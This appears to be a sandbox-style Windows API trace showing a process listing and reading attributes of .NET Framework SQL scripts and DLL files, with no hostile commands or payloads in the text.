	[0087.790] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql"), fInfoLevelId=0x0, lpFileInformation=0x1274bd68 | out: lpFileInformation=0x1274bd68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x8ab69340, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x8ab69340, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.790] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.790] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x8ab69340, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x8ab69340, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.790] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x8ab69340, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x8ab69340, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.791] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0087.791] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.791] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.791] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en"), fInfoLevelId=0x0, lpFileInformation=0x1274be08 | out: lpFileInformation=0x1274be08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.791] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.791] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropSqlPersistenceProviderLogic.sql", cAlternateFileName="DROPSQ~3.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropSqlPersistenceProviderSchema.sql", cAlternateFileName="DROPSQ~4.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xcf45c540, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x17b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropSqlWorkflowInstanceStoreLogic.sql", cAlternateFileName="DROPSQ~1.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xcf45c540, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="DropSqlWorkflowInstanceStoreSchema.sql", cAlternateFileName="DROPSQ~2.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x1a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlPersistenceProviderLogic.sql", cAlternateFileName="SQLPER~1.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlPersistenceProviderSchema.sql", cAlternateFileName="SQLPER~2.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x5d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlPersistenceService_Logic.sql", cAlternateFileName="SQLPER~3.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f0c4020, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlPersistenceService_Schema.sql", cAlternateFileName="SQLPER~4.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0xf89e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlWorkflowInstanceStoreLogic.sql", cAlternateFileName="SQLWOR~1.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x7088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlWorkflowInstanceStoreSchema.sql", cAlternateFileName="SQLWOR~2.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f669d00, ftCreationTime.dwHighDateTime=0x1cd5d11, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5f669d00, ftLastWriteTime.dwHighDateTime=0x1cd5d11, nFileSizeHigh=0x0, nFileSizeLow=0x137b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlWorkflowInstanceStoreSchemaUpgrade.sql", cAlternateFileName="SQLWOR~3.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x5d2a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracking_Logic.sql", cAlternateFileName="TRACKI~1.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0xc66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracking_Schema.sql", cAlternateFileName="TRACKI~2.SQL")) returned 1
	[0087.793] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.793] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.794] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql"), fInfoLevelId=0x0, lpFileInformation=0x12570288 | out: lpFileInformation=0x12570288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x4af)) returned 1
	[0087.796] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql"), fInfoLevelId=0x0, lpFileInformation=0x125702d8 | out: lpFileInformation=0x125702d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x528)) returned 1
	[0087.796] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql"), fInfoLevelId=0x0, lpFileInformation=0x12570328 | out: lpFileInformation=0x12570328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xcf45c540, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x17b1)) returned 1
	[0087.797] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql"), fInfoLevelId=0x0, lpFileInformation=0x12570378 | out: lpFileInformation=0x12570378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xcf45c540, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0xeee)) returned 1
	[0087.797] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql"), fInfoLevelId=0x0, lpFileInformation=0x125703c8 | out: lpFileInformation=0x125703c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x1a58)) returned 1
	[0087.798] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql"), fInfoLevelId=0x0, lpFileInformation=0x12570418 | out: lpFileInformation=0x12570418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x860)) returned 1
	[0087.798] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql"), fInfoLevelId=0x0, lpFileInformation=0x12570468 | out: lpFileInformation=0x12570468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x5d5c)) returned 1
	[0087.798] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql"), fInfoLevelId=0x0, lpFileInformation=0x125704b8 | out: lpFileInformation=0x125704b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f0c4020, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x10c8)) returned 1
	[0087.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql"), fInfoLevelId=0x0, lpFileInformation=0x12570508 | out: lpFileInformation=0x12570508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0xf89e)) returned 1
	[0087.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql"), fInfoLevelId=0x0, lpFileInformation=0x12570558 | out: lpFileInformation=0x12570558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x7088)) returned 1
	[0087.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql"), fInfoLevelId=0x0, lpFileInformation=0x125705a8 | out: lpFileInformation=0x125705a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f669d00, ftCreationTime.dwHighDateTime=0x1cd5d11, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5f669d00, ftLastWriteTime.dwHighDateTime=0x1cd5d11, nFileSizeHigh=0x0, nFileSizeLow=0x137b9)) returned 1
	[0087.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_logic.sql"), fInfoLevelId=0x0, lpFileInformation=0x125705f8 | out: lpFileInformation=0x125705f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x5d2a4)) returned 1
	[0087.800] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_schema.sql"), fInfoLevelId=0x0, lpFileInformation=0x12570648 | out: lpFileInformation=0x12570648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbc1f00, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f21ac80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacbc1f00, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0xc66e)) returned 1
	[0087.800] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SbsNclPerf.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sbsnclperf.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570698 | out: lpFileInformation=0x12570698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9344c100, ftCreationTime.dwHighDateTime=0x1cd5d17, ftLastAccessTime.dwLowDateTime=0xd121d840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9344c100, ftLastWriteTime.dwHighDateTime=0x1cd5d17, nFileSizeHigh=0x0, nFileSizeLow=0x5bb0)) returned 1
	[0087.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelEvents.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\servicemodelevents.dll"), fInfoLevelId=0x0, lpFileInformation=0x125706e8 | out: lpFileInformation=0x125706e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f64f920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x46c8)) returned 1
	[0087.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelInstallRC.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\servicemodelinstallrc.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570738 | out: lpFileInformation=0x12570738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f69bbe0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x46d8)) returned 1
	[0087.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\servicemodelperformancecounters.dll"), fInfoLevelId=0x0, lpFileInformation=0x12570788 | out: lpFileInformation=0x12570788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x60be2080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x15d00)) returned 1
	[0087.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelPerformanceCounters.man" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\servicemodelperformancecounters.man"), fInfoLevelId=0x0, lpFileInformation=0x125707d8 | out: lpFileInformation=0x125707d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5b7a00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd134e340, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3d5b7a00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x1f812)) returned 1
